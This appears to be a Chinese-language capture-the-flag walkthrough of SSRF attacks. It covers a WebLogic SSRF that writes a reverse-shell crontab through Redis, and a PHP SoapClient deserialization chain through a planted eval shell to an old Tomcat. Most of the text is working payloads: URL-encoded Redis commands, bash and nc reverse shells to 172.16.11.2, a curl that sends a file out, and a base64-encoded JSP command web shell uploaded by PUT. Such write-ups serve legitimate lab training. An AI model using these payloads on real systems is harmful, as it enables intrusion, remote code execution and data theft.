SSRF绕过方法
SSRF对于防御方式(waf)绕过方法
SSRF攻击内网的redis
题目一
基于java 的一个 WEBLOGIC 框架
首先我们要知道它内网有什么服务,我们正常给8888端口发送请求是能接受到的,那么我们把8888端口给关闭了,再次请求发现后有一个错误,如果是一个不存在的端口,一个不存在的服务会有这样的报错:
我们再把http协议改成file协议,发现直接就报错,直接就断开了,所以本次利用中不存在其他协议,只能用http协议:
我们知道http里的redis服务是有一个默认端口为6379,发现还是没有,因为它肯定是一个内网服务所有我们不能进行直接的攻击:
我们发现如果是不存在的服务就会出现一个报错,我们可以通过爆破的方式去找出回显不同的请求,去看看有什么不一样,最终我们发现这个地址的回显不一样,我们发现了一个请求成功的地址,所以说这个端口存在这个服务,我们就可以通过ssrf去访问内网的redis服务,那么redis服务我们就可以写payload去攻击这个服务:
这里是存在于get请求中,我们直接把post请求的内容写在get请求里即可
要发送的redis命令如下,我们在etc文件下写入了crontab文件,内容就是set 1里面的内容,让服务器反弹shell到我们的主机172.16.11.2:1234端口:
set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/172.16.11.2/1234 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save
url编码以后
test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.16.11.2%2F1234%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa
最后的请求如下
GET /uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://172.18.0.2:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.16.11.2%2F1234%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa HTTP/1.1
等了一会儿以后成功得到shell
总结
(1)扫描内部网络利用多线程脚本去fuzz可用的端口或者服务。
(2)向内部的任意主机和任意端口发送精心构造的数据包。举个例子(soapclient类+crlf漏洞给内网发送任意数据包利用http攻击redis)
(3)wordpress开启xmlrpc利用pingback.ping方法造成ddos漏洞。或者请求大文件,始终保持连接keep-alive always
(4)利用协议进行暴力穷举
(5)如果不知道一个cms是什么cms,让服务端去访问自己所处内网的一些指纹文件来判断是否存在相应的cms
(5)file、dict、gopher、ftp协议
题目二
<?php
if(!$_GET['a']){highlight_file(__FILE__);}
$a = unserialize($_GET['a']);
$a -> show();
在同目录下发现了hint.php,post请求中的operator的参数可以换成任意的,例如我换成自己的ip,然后监听8888,测试一下:
这样配合起来就知道了这里应该是一个对内网ssrf的攻击,通过php的原生类SoapClient
I left a shell in 10.10.1.12/index.php<!-- \<?php
if(isset($_GET['cc'])){
$cc = $_GET['cc'];
eval(substr($cc, 0, 6));
}
else{
highlight_file(__FILE__);
}
?\>-->
而这里是一个6字符弹shell的考点,这里有一个技巧就是我直接把执行的语句中加入变量名$cc,这样的话eval中的内容前4位就是
$cc
而$cc本身并没有改变,这样就能成功执行了。
接着构造SoapClient序列化字符串,先执行命令nc -lvp 2207监听2207端口
然后构造序列化字符串后发送,构造脚本如下
<?php
$path = urlencode("`\$cc`;curl -d '@/hint' 172.16.11.2:2207");
$path = "http://10.10.1.12/"."?cc=$path";
$yds= new SoapClient(null, array('uri' => $path, 'location' => $path));
$ser_yds = serialize($yds);
echo urlencode($ser_yds);
然后在第一层的内网根目录得到/hint
构建可以弹shell的命令,然后构造序列化字符串后发送,构造脚本如下(利用nc进行弹shell命令)
<?php
$path = urlencode("`\$cc`;nc -e /bin/bash 172.16.11.2 2207");
$path = "http://10.10.1.12/"."?cc=$path";
$yds= new SoapClient(null, array('uri' => $path, 'location' => $path));
$ser_yds = serialize($yds);
echo urlencode($ser_yds);
发现下一层内网是一个老版本具有可读漏洞的tomcat
<%
java.io.InputStream in=Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
%>
在shell执行命令
curl -X PUT http://10.10.2.13:8080/yds.jsp/ -d "`echo PCUKCWphdmEuaW8uSW5wdXRTdHJlYW0gaW49UnVudGltZS5nZXRSdW50aW1lKCkuZXhlYyhyZXF1ZXN0LmdldFBhcmFtZXRlcigiaSIpKS5nZXRJbnB1dFN0cmVhbSgpOwoJaW50IGEgPSAtMTsKICBieXRlW10gYiA9IG5ldyBieXRlWzIwNDhdOwogIG91dC5wcmludCgiPHByZT4iKTsKICB3aGlsZSgoYT1pbi5yZWFkKGIpKSE9LTEpewogICAgICAgb3V0LnByaW50bG4obmV3IFN0cmluZyhiKSk7CiAgIH0KICBvdXQucHJpbnQoIjwvcHJlPiIpOwolPg==|base64 -d`"
curl 10.10.2.13:8080/yds.jsp?i=cat%20/flag
总结
(1)tomcat的老版本可以通过put协议进行一个可读写漏洞攻击
(2)可以通过nc进行弹shell
(3)ssrf的攻击价值在于对内网的攻击,同时也有可能可以进行多层内网的攻击